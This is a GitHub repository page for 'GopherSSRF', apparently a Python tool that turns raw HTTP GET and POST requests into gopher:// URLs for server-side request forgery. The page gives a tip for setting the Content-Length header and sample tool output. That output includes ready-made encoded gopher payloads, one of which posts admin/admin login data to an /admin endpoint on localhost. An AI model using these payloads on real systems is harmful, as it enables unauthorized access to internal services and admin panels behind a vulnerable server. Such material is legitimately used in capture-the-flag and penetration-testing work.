fuzzlove / GopherSSRF

Gopher HTTP requests (POST/GET) | By: Liquidsky

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

Gopher HTTP requests (POST/GET) | By: Liquidsky

URL: gopher: // :/_ followed by TCP data stream

Tip for determing POST request length:

└─$ echo "username=admin&password=admin" | wc -c

30

Subtract 1 from this result. = 29 -> Then add this to content length header.

Example output:

└─$ python3 gopher-requests.py

1. Gopher GET Request
2. Gopher POST Request

[*] Please select GET (1) or POST (2) request: 1

[x] Gopher GET Request: gopher://localhost:80/_GET%20/%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0A

[*] Happy Hacking ^_~

1. Gopher GET Request
2. Gopher POST Request

[*] Please select GET (1) or POST (2) request: 2

[?] Informational: The four HTTP headers above are required for POST requests, namely POST, Host, Content-Type and Content-Length. If it is missing, an error will be reported, but GET does not use it.

[x] Gopher POST Request: gopher://127.0.0.1:80/_POST%20/admin%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2029%0D%0A%0D%0Ausername%3Dadmin%26password%3Dadmin%0D%0A

[*] Happy Hacking ^_~

About

Gopher HTTP requests (POST/GET) | By: Liquidsky


Languages

Language:Python 100.0%